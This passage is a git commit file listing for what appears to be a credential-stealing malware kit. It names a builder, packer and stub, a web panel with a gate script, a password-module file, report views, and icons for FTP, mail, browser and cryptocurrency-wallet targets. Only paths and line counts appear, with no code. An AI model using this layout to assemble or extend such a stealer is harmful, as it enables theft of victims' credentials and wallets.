379 bytes .../design/images/modules/module_nichrome.png | Bin 0 -> 736 bytes .../images/modules/module_notepadpp.png | Bin 0 -> 592 bytes .../design/images/modules/module_novacoin.png | Bin 0 -> 578 bytes .../design/images/modules/module_novaftp.png | Bin 0 -> 720 bytes .../design/images/modules/module_odin.png | Bin 0 -> 646 bytes .../design/images/modules/module_opera.png | Bin 0 -> 531 bytes .../design/images/modules/module_outlook.png | Bin 0 -> 636 bytes .../images/modules/module_phoenixcoin.png | Bin 0 -> 768 bytes .../design/images/modules/module_pocomail.png | Bin 0 -> 721 bytes .../design/images/modules/module_ppcoin.png | Bin 0 -> 629 bytes .../images/modules/module_primecoin.png | Bin 0 -> 711 bytes .../images/modules/module_protoshares.png | Bin 0 -> 311 bytes .../design/images/modules/module_putty.png | Bin 0 -> 713 bytes .../images/modules/module_quarkcoin.png | Bin 0 -> 654 bytes .../design/images/modules/module_roboftp.png | Bin 0 -> 248 bytes .../design/images/modules/module_rockmelt.png | Bin 0 -> 794 bytes .../images/modules/module_seamonkey.png | Bin 0 -> 676 bytes .../design/images/modules/module_securefx.png | Bin 0 -> 304 bytes .../images/modules/module_sherrodftp.png | Bin 0 -> 694 bytes .../design/images/modules/module_smartftp.png | Bin 0 -> 545 bytes .../design/images/modules/module_softx.png | Bin 0 -> 572 bytes .../design/images/modules/module_staff.png | Bin 0 -> 519 bytes .../design/images/modules/module_tagcoin.png | Bin 0 -> 477 bytes .../images/modules/module_terracoin.png | Bin 0 -> 617 bytes .../design/images/modules/module_thebat.png | Bin 0 -> 975 bytes .../images/modules/module_thunderbird.png | Bin 0 -> 789 bytes .../design/images/modules/module_turboftp.png | Bin 0 -> 302 bytes .../design/images/modules/module_ultrafxp.png | Bin 0 -> 373 bytes .../images/modules/module_vs_designer.png | Bin 0 -> 611 bytes .../design/images/modules/module_webdrive.png | Bin 0 -> 762 bytes .../modules/module_websitepublisher.png | Bin 0 -> 344 bytes .../modules/module_windows_live_mail.png | Bin 0 -> 556 bytes .../images/modules/module_windows_mail.png | Bin 0 -> 497 bytes .../design/images/modules/module_winftp.png | Bin 0 -> 368 bytes .../design/images/modules/module_winscp.png | Bin 0 -> 600 bytes .../design/images/modules/module_winzip.png | Bin 0 -> 548 bytes .../design/images/modules/module_wiseftp.png | Bin 0 -> 462 bytes .../images/modules/module_worldcoin.png | Bin 0 -> 721 bytes .../design/images/modules/module_ws_ftp.png | Bin 0 -> 224 bytes .../design/images/modules/module_wtc.png | Bin 0 -> 170 bytes .../design/images/modules/module_xftp.png | Bin 0 -> 665 bytes .../design/images/modules/module_yacoin.png | Bin 0 -> 578 bytes .../images/modules/module_yandexinternet.png | Bin 0 -> 721 bytes .../design/images/modules/module_zetacoin.png | Bin 0 -> 697 bytes .../design/images/navigation_arrow.png | Bin 0 -> 304 bytes panel/includes/design/images/new.png | Bin 0 -> 415 bytes panel/includes/design/images/ping_bg.jpg | Bin 0 -> 1935 bytes panel/includes/design/images/pony_icon.png | Bin 0 -> 2925 bytes panel/includes/design/images/report.png | Bin 0 -> 652 bytes .../includes/design/images/report_delete.png | Bin 0 -> 800 bytes panel/includes/design/images/report_user.png | Bin 0 -> 830 bytes panel/includes/design/images/reset_icon.png | Bin 0 -> 658 bytes .../includes/design/images/right_link_bg.gif | Bin 0 -> 102 bytes panel/includes/design/images/round_left.gif | Bin 0 -> 348 bytes panel/includes/design/images/round_right.gif | Bin 0 -> 355 bytes .../includes/design/images/setting_tools.png | Bin 0 -> 2315 bytes panel/includes/design/images/top_nav_bg.gif | Bin 0 -> 54 bytes panel/includes/design/images/update_icon.png | Bin 0 -> 814 bytes panel/includes/design/images/user.png | Bin 0 -> 1582 bytes panel/includes/design/images/user_bg.jpg | Bin 0 -> 1704 bytes panel/includes/design/images/user_edit.png | Bin 0 -> 1981 bytes panel/includes/design/images/user_icon.png | Bin 0 -> 741 bytes panel/includes/design/images/wait.gif | Bin 0 -> 2545 bytes panel/includes/design/images/wait_small.gif | Bin 0 -> 1849 bytes panel/includes/design/images/welcome_bg.gif | Bin 0 -> 104 bytes panel/includes/design/images/x_icon.png | Bin 0 -> 1204 bytes panel/includes/design/images/x_icon_small.png | Bin 0 -> 996 bytes panel/includes/design/images/zip_icon.png | Bin 0 -> 546 bytes panel/includes/design/jquery-1.6.1.min.js | 18 + .../design/jquery-ui-1.8.13.custom.min.js | 784 ++ panel/includes/design/jquery.ajaxq-0.0.1.js | 63 + .../includes/design/jquery.tablehover.min.js | 1 + .../design/jquery.ui.datepicker-ru.js | 23 + panel/includes/design/style.css | 192 + panel/includes/design/style_full.css | 660 + .../images/ui-bg_flat_0_aaaaaa_40x100.png | Bin 0 -> 180 bytes .../images/ui-bg_flat_75_ffffff_40x100.png | Bin 0 -> 178 bytes .../images/ui-bg_glass_55_fbf9ee_1x400.png | Bin 0 -> 120 bytes .../images/ui-bg_glass_65_ffffff_1x400.png | Bin 0 -> 105 bytes .../images/ui-bg_glass_75_dadada_1x400.png | Bin 0 -> 111 bytes .../images/ui-bg_glass_75_e6e6e6_1x400.png | Bin 0 -> 110 bytes .../ui-bg_highlight-soft_75_cccccc_1x100.png | Bin 0 -> 101 bytes .../ui-bg_inset-soft_95_fef1ec_1x100.png | Bin 0 -> 123 bytes .../theme/images/ui-icons_222222_256x240.png | Bin 0 -> 4369 bytes .../theme/images/ui-icons_2e83ff_256x240.png | Bin 0 -> 4369 bytes .../theme/images/ui-icons_454545_256x240.png | Bin 0 -> 4369 bytes .../theme/images/ui-icons_888888_256x240.png | Bin 0 -> 4369 bytes .../theme/images/ui-icons_cd0a0a_256x240.png | Bin 0 -> 4369 bytes .../design/theme/jquery-ui-1.8.13.custom.css | 578 + .../ui.dropdownchecklist.themeroller.css | 25 + .../design/ui.dropdownchecklist-1.3-min.js | 1 + panel/includes/design/ui.dropdownchecklist.js | 917 ++ panel/includes/geoip/GeoIP.dat | Bin 0 -> 1348660 bytes panel/includes/geoip/geoip.inc | 573 + panel/includes/lang.php | 16 + panel/includes/misc.php | 1636 +++ panel/includes/password_modules.php | 11675 ++++++++++++++++ .../pchart/class/pBarcode128.class.php | 184 + .../pchart/class/pBarcode39.class.php | 200 + panel/includes/pchart/class/pBubble.class.php | 268 + panel/includes/pchart/class/pCache.class.php | 280 + panel/includes/pchart/class/pData.class.php | 636 + panel/includes/pchart/class/pDraw.class.php | 5394 +++++++ panel/includes/pchart/class/pImage.class.php | 243 + .../pchart/class/pIndicator.class.php | 241 + panel/includes/pchart/class/pPie.class.php | 1457 ++ panel/includes/pchart/class/pRadar.class.php | 598 + .../includes/pchart/class/pScatter.class.php | 907 ++ panel/includes/pchart/class/pSplit.class.php | 131 + panel/includes/pchart/class/pSpring.class.php | 868 ++ panel/includes/pchart/class/pStock.class.php | 184 + .../includes/pchart/class/pSurface.class.php | 315 + panel/includes/pchart/fonts/arial.ttf | Bin 0 -> 772192 bytes panel/includes/pchart/fonts/arialbd.ttf | Bin 0 -> 748720 bytes panel/includes/pchart/fonts/pf_arma_five.ttf | Bin 0 -> 21936 bytes panel/includes/templates/confirm.tpl | 27 + panel/includes/templates/debug_report.tpl | 26 + panel/includes/templates/domains.tpl | 44 + panel/includes/templates/error.tpl | 24 + panel/includes/templates/footer.tpl | 39 + panel/includes/templates/ftp_list.tpl | 209 + panel/includes/templates/header.tpl | 176 + panel/includes/templates/help.tpl | 292 + panel/includes/templates/home.tpl | 87 + panel/includes/templates/http_list.tpl | 201 + panel/includes/templates/log_list.tpl | 70 + panel/includes/templates/login_form.tpl | 19 + panel/includes/templates/management.tpl | 168 + panel/includes/templates/other.tpl | 102 + panel/includes/templates/report_list.tpl | 113 + panel/includes/templates/stats.tpl | 234 + panel/includes/templates/stopwatch.tpl | 1 + panel/includes/templates/success.tpl | 3 + panel/includes/templates/view_report.tpl | 69 + panel/redirect.php | 162 + panel/robots.txt | 2 + panel/setup.php | 146 + 640 files changed, 63855 insertions(+) create mode 100644 .DS_Store create mode 100644 Contjes Short Tutorial.txt create mode 100644 builder/Builder.exe create mode 100644 builder/packer.exe create mode 100644 builder/stub create mode 100644 panel/404.html create mode 100644 panel/admin.php create mode 100644 panel/config.php create mode 100644 panel/gate.php create mode 100644 panel/includes/Smarty-3.1.15/libs/Smarty.class.php create mode 100644 panel/includes/Smarty-3.1.15/libs/SmartyBC.class.php create mode 100644 panel/includes/Smarty-3.1.15/libs/SmartyPaginate.class.php create mode 100644 panel/includes/Smarty-3.1.15/libs/debug.tpl create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/block.textformat.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.counter.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.country.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.cycle.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.fetch.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_checkboxes.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_image.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_options.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_radios.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_select_date.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_select_time.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.html_table.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.mailto.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.math.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.paginate_first.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.paginate_last.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.paginate_middle.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.paginate_next.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.paginate_prev.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/function.stopwatch.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.capitalize.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.date_format.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.debug_print_var.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.escape.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.file_size.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.items.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.regex_replace.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.replace.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.spacify.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.truncate.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifier.yes_no.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.cat.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.count_characters.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.count_paragraphs.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.count_sentences.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.count_words.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.default.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.escape.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.from_charset.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.indent.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.lower.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.noprint.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.string_format.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.strip.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.strip_tags.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.to_charset.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.unescape.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.upper.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/modifiercompiler.wordwrap.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/outputfilter.trimwhitespace.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.escape_special_chars.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.literal_compiler_param.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.make_timestamp.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.mb_str_replace.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.mb_unicode.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/shared.mb_wordwrap.php create mode 100644 panel/includes/Smarty-3.1.15/libs/plugins/variablefilter.htmlspecialchars.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_cacheresource.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_cacheresource_custom.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_cacheresource_keyvaluestore.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_config_source.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_cacheresource_file.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_append.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_assign.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_block.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_break.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_call.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_capture.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_config_load.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_continue.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_debug.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_eval.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_extends.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_for.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_foreach.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_function.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_if.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_include.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_include_php.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_insert.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_ldelim.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_nocache.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_block_plugin.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_function_plugin.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_modifier.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_object_block_function.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_object_function.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_print_expression.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_registered_block.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_registered_function.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_private_special_variable.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_rdelim.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_section.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_setfilter.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compile_while.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_compilebase.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_config.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_config_file_compiler.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_configfilelexer.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_configfileparser.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_data.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_debug.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_filter_handler.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_function_call_handler.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_get_include_path.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_nocache_insert.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_parsetree.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_eval.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_extends.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_file.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_php.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_registered.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_stream.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_resource_string.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_smartytemplatecompiler.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_template.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_templatebase.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_templatecompilerbase.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_templatelexer.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_templateparser.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_utility.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_internal_write_file.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_resource.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_resource_custom.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_resource_recompiled.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_resource_uncompiled.php create mode 100644 panel/includes/Smarty-3.1.15/libs/sysplugins/smarty_security.php create mode 100644 panel/includes/chart.php create mode 100644 panel/includes/database.php create mode 100644 panel/includes/design/images/accept.png create mode 100644 panel/includes/design/images/add.png create mode 100644 panel/includes/design/images/bg_header.jpg create mode 100644 panel/includes/design/images/bg_header2.png create mode 100644 panel/includes/design/images/chart_pie.png create mode 100644 panel/includes/design/images/check_icon.png create mode 100644 panel/includes/design/images/check_icon_small.png create mode 100644 panel/includes/design/images/clouds.jpg create mode 100644 panel/includes/design/images/cross.png create mode 100644 panel/includes/design/images/dash.png create mode 100644 panel/includes/design/images/delete.png create mode 100644 panel/includes/design/images/disk.png create mode 100644 panel/includes/design/images/domain_icon.png create mode 100644 panel/includes/design/images/domain_template.png create mode 100644 panel/includes/design/images/download_icon.png create mode 100644 panel/includes/design/images/favicon.ico create mode 100644 panel/includes/design/images/filter_icon.png create mode 100644 panel/includes/design/images/find_icon.png create mode 100644 panel/includes/design/images/flags/ad.gif create mode 100644 panel/includes/design/images/flags/ae.gif create mode 100644 panel/includes/design/images/flags/af.gif create mode 100644 panel/includes/design/images/flags/ag.gif create mode 100644 panel/includes/design/images/flags/ai.gif create mode 100644 panel/includes/design/images/flags/al.gif create mode 100644 panel/includes/design/images/flags/am.gif create mode 100644 panel/includes/design/images/flags/an.gif create mode 100644 panel/includes/design/images/flags/ao.gif create mode 100644 panel/includes/design/images/flags/ar.gif create mode 100644 panel/includes/design/images/flags/as.gif create mode 100644 panel/includes/design/images/flags/at.gif create mode 100644 panel/includes/design/images/flags/au.gif create mode 100644 panel/includes/design/images/flags/aw.gif create mode 100644 panel/includes/design/images/flags/ax.gif create mode 100644 panel/includes/design/images/flags/az.gif create mode 100644 panel/includes/design/images/flags/ba.gif create mode 100644 panel/includes/design/images/flags/bb.gif create mode 100644 panel/includes/design/images/flags/bd.gif create mode 100644 panel/includes/design/images/flags/be.gif create mode 100644 panel/includes/design/images/flags/bf.gif create mode 100644 panel/includes/design/images/flags/bg.gif create mode 100644 panel/includes/design/images/flags/bh.gif create mode 100644 panel/includes/design/images/flags/bi.gif create mode 100644 panel/includes/design/images/flags/bj.gif create mode 100644 panel/includes/design/images/flags/bm.gif create mode 100644 panel/includes/design/images/flags/bn.gif create mode 100644 panel/includes/design/images/flags/bo.gif create mode 100644 panel/includes/design/images/flags/br.gif create mode 100644 panel/includes/design/images/flags/bs.gif create mode 100644 panel/includes/design/images/flags/bt.gif create mode 100644 panel/includes/design/images/flags/bv.gif create mode 100644 panel/includes/design/images/flags/bw.gif create mode 100644 panel/includes/design/images/flags/by.gif create mode 100644 panel/includes/design/images/flags/bz.gif create mode 100644 panel/includes/design/images/flags/ca.gif create mode 100644 panel/includes/design/images/flags/catalonia.gif create mode 100644 panel/includes/design/images/flags/cc.gif create mode 100644 panel/includes/design/images/flags/cd.gif create mode 100644 panel/includes/design/images/flags/cf.gif create mode 100644 panel/includes/design/images/flags/cg.gif create mode 100644 panel/includes/design/images/flags/ch.gif create mode 100644 panel/includes/design/images/flags/ci.gif create mode 100644 panel/includes/design/images/flags/ck.gif create mode 100644 panel/includes/design/images/flags/cl.gif create mode 100644 panel/includes/design/images/flags/cm.gif create mode 100644 panel/includes/design/images/flags/cn.gif create mode 100644 panel/includes/design/images/flags/co.gif create mode 100644 panel/includes/design/images/flags/cr.gif create mode 100644 panel/includes/design/images/flags/cs.gif create mode 100644 panel/includes/design/images/flags/cu.gif create mode 100644 panel/includes/design/images/flags/cv.gif create mode 100644 panel/includes/design/images/flags/cx.gif create mode 100644 panel/includes/design/images/flags/cy.gif create mode 100644 panel/includes/design/images/flags/cz.gif create mode 100644 panel/includes/design/images/flags/de.gif create mode 100644 panel/includes/design/images/flags/dj.gif create mode 100644 panel/includes/design/images/flags/dk.gif create mode 100644 panel/includes/design/images/flags/dm.gif create mode 100644 panel/includes/design/images/flags/do.gif create mode 100644 panel/includes/design/images/flags/dz.gif create mode 100644 panel/includes/design/images/flags/ec.gif create mode 100644 panel/includes/design/images/flags/ee.gif create mode 100644 panel/includes/design/images/flags/eg.gif create mode 100644 panel/includes/design/images/flags/eh.gif create mode 100644 panel/includes/design/images/flags/england.gif create mode 100644 panel/includes/design/images/flags/er.gif create mode 100644 panel/includes/design/images/flags/es.gif create mode 100644 panel/includes/design/images/flags/et.gif create mode 100644 panel/includes/design/images/flags/eu.gif create mode 100644 panel/includes/design/images/flags/europeanunion.gif create mode 100644 panel/includes/design/images/flags/fam.gif create mode 100644 panel/includes/design/images/flags/fi.gif create mode 100644 panel/includes/design/images/flags/fj.gif create mode 100644 panel/includes/design/images/flags/fk.gif create mode 100644 panel/includes/design/images/flags/fm.gif create mode 100644 panel/includes/design/images/flags/fo.gif create mode 100644 panel/includes/design/images/flags/fr.gif create mode 100644 panel/includes/design/images/flags/ga.gif create mode 100644 panel/includes/design/images/flags/gb.gif create mode 100644 panel/includes/design/images/flags/gd.gif create mode 100644 panel/includes/design/images/flags/ge.gif create mode 100644 panel/includes/design/images/flags/gf.gif create mode 100644 panel/includes/design/images/flags/gh.gif create mode 100644 panel/includes/design/images/flags/gi.gif create mode 100644 panel/includes/design/images/flags/gl.gif create mode 100644 panel/includes/design/images/flags/gm.gif create mode 100644 panel/includes/design/images/flags/gn.gif create mode 100644 panel/includes/design/images/flags/gp.gif create mode 100644 panel/includes/design/images/flags/gq.gif create mode 100644 panel/includes/design/images/flags/gr.gif create mode 100644 panel/includes/design/images/flags/gs.gif create mode 100644 panel/includes/design/images/flags/gt.gif create mode 100644 panel/includes/design/images/flags/gu.gif create mode 100644 panel/includes/design/images/flags/gw.gif create mode 100644 panel/includes/design/images/flags/gy.gif create mode 100644 panel/includes/design/images/flags/hk.gif create mode 100644 panel/includes/design/images/flags/hm.gif create mode 100644 panel/includes/design/images/flags/hn.gif create mode 100644 panel/includes/design/images/flags/hr.gif create mode 100644 panel/includes/design/images/flags/ht.gif create mode 100644 panel/includes/design/images/flags/hu.gif create mode 100644 panel/includes/design/images/flags/id.gif create mode 100644 panel/includes/design/images/flags/ie.gif create mode 100644 panel/includes/design/images/flags/il.gif create mode 100644 panel/includes/design/images/flags/in.gif create mode 100644 panel/includes/design/images/flags/io.gif create mode 100644 panel/includes/design/images/flags/iq.gif create mode 100644 panel/includes/design/images/flags/ir.gif create mode 100644 panel/includes/design/images/flags/is.gif create mode 100644 panel/includes/design/images/flags/it.gif create mode 100644 panel/includes/design/images/flags/jm.gif create mode 100644 panel/includes/design/images/flags/jo.gif create mode 100644 panel/includes/design/images/flags/jp.gif create mode 100644 panel/includes/design/images/flags/ke.gif create mode 100644 panel/includes/design/images/flags/kg.gif create mode 100644 panel/includes/design/images/flags/kh.gif create mode 100644 panel/includes/design/images/flags/ki.gif create mode 100644 panel/includes/design/images/flags/km.gif create mode 100644 panel/includes/design/images/flags/kn.gif create mode 100644 panel/includes/design/images/flags/kp.gif create mode 100644 panel/includes/design/images/flags/kr.gif create mode 100644 panel/includes/design/images/flags/kw.gif create mode 100644 panel/includes/design/images/flags/ky.gif create mode 100644 panel/includes/design/images/flags/kz.gif create mode 100644 panel/includes/design/images/flags/la.gif create mode 100644 panel/includes/design/images/flags/lb.gif create mode 100644 panel/includes/design/images/flags/lc.gif create mode 100644 panel/includes/design/images/flags/li.gif create mode 100644 panel/includes/design/images/flags/lk.gif create mode 100644 panel/includes/design/images/flags/lr.gif create mode 100644 panel/includes/design/images/flags/ls.gif create mode 100644 panel/includes/design/images/flags/lt.gif create mode 100644 panel/includes/design/images/flags/lu.gif create mode 100644 panel/includes/design/images/flags/lv.gif create mode 100644 panel/includes/design/images/flags/ly.gif create mode 100644 panel/includes/design/images/flags/ma.gif create mode 100644 panel/includes/design/images/flags/mc.gif create mode 100644 panel/includes/design/images/flags/md.gif create mode 100644 panel/includes/design/images/flags/me.gif create mode 100644 panel/includes/design/images/flags/mg.gif create mode 100644 panel/includes/design/images/flags/mh.gif create mode 100644 panel/includes/design/images/flags/mk.gif create mode 100644 panel/includes/design/images/flags/ml.gif create mode 100644 panel/includes/design/images/flags/mm.gif create mode 100644 panel/includes/design/images/flags/mn.gif create mode 100644 panel/includes/design/images/flags/mo.gif create mode 100644 panel/includes/design/images/flags/mp.gif create mode 100644 panel/includes/design/images/flags/mq.gif create mode 100644 panel/includes/design/images/flags/mr.gif create mode 100644 panel/includes/design/images/flags/ms.gif create mode 100644 panel/includes/design/images/flags/mt.gif create mode 100644 panel/includes/design/images/flags/mu.gif create mode 100644 panel/includes/design/images/flags/mv.gif create mode 100644 panel/includes/design/images/flags/mw.gif create mode 100644 panel/includes/design/images/flags/mx.gif create mode 100644 panel/includes/design/images/flags/my.gif create mode 100644 panel/includes/design/images/flags/mz.gif create mode 100644 panel/includes/design/images/flags/na.gif create mode 100644 panel/includes/design/images/flags/nc.gif create mode 100644 panel/includes/design/images/flags/ne.gif create mode 100644 panel/includes/design/images/flags/nf.gif create mode 100644 panel/includes/design/images/flags/ng.gif create mode 100644 panel/includes/design/images/flags/ni.gif create mode 100644 panel/includes/design/images/flags/nl.gif create mode 100644 panel/includes/design/images/flags/no.gif create mode 100644 panel/includes/design/images/flags/np.gif create mode 100644 panel/includes/design/images/flags/nr.gif create mode 100644 panel/includes/design/images/flags/nu.gif create mode 100644 panel/includes/design/images/flags/nz.gif create mode 100644 panel/includes/design/images/flags/om.gif create mode 100644 panel/includes/design/images/flags/pa.gif create mode 100644 panel/includes/design/images/flags/pe.gif create mode 100644 panel/includes/design/images/flags/pf.gif create mode 100644 panel/includes/design/images/flags/pg.gif create mode 100644 panel/includes/design/images/flags/ph.gif create mode 100644 panel/includes/design/images/flags/pk.gif create mode 100644 panel/includes/design/images/flags/pl.gif create mode 100644 panel/includes/design/images/flags/pm.gif create mode 100644 panel/includes/design/images/flags/pn.gif create mode 100644 panel/includes/design/images/flags/pr.gif create mode 100644 panel/includes/design/images/flags/ps.gif create mode 100644 panel/includes/design/images/flags/pt.gif create mode 100644 panel/includes/design/images/flags/pw.gif create mode 100644 panel/includes/design/images/flags/py.gif create mode 100644 panel/includes/design/images/flags/qa.gif create 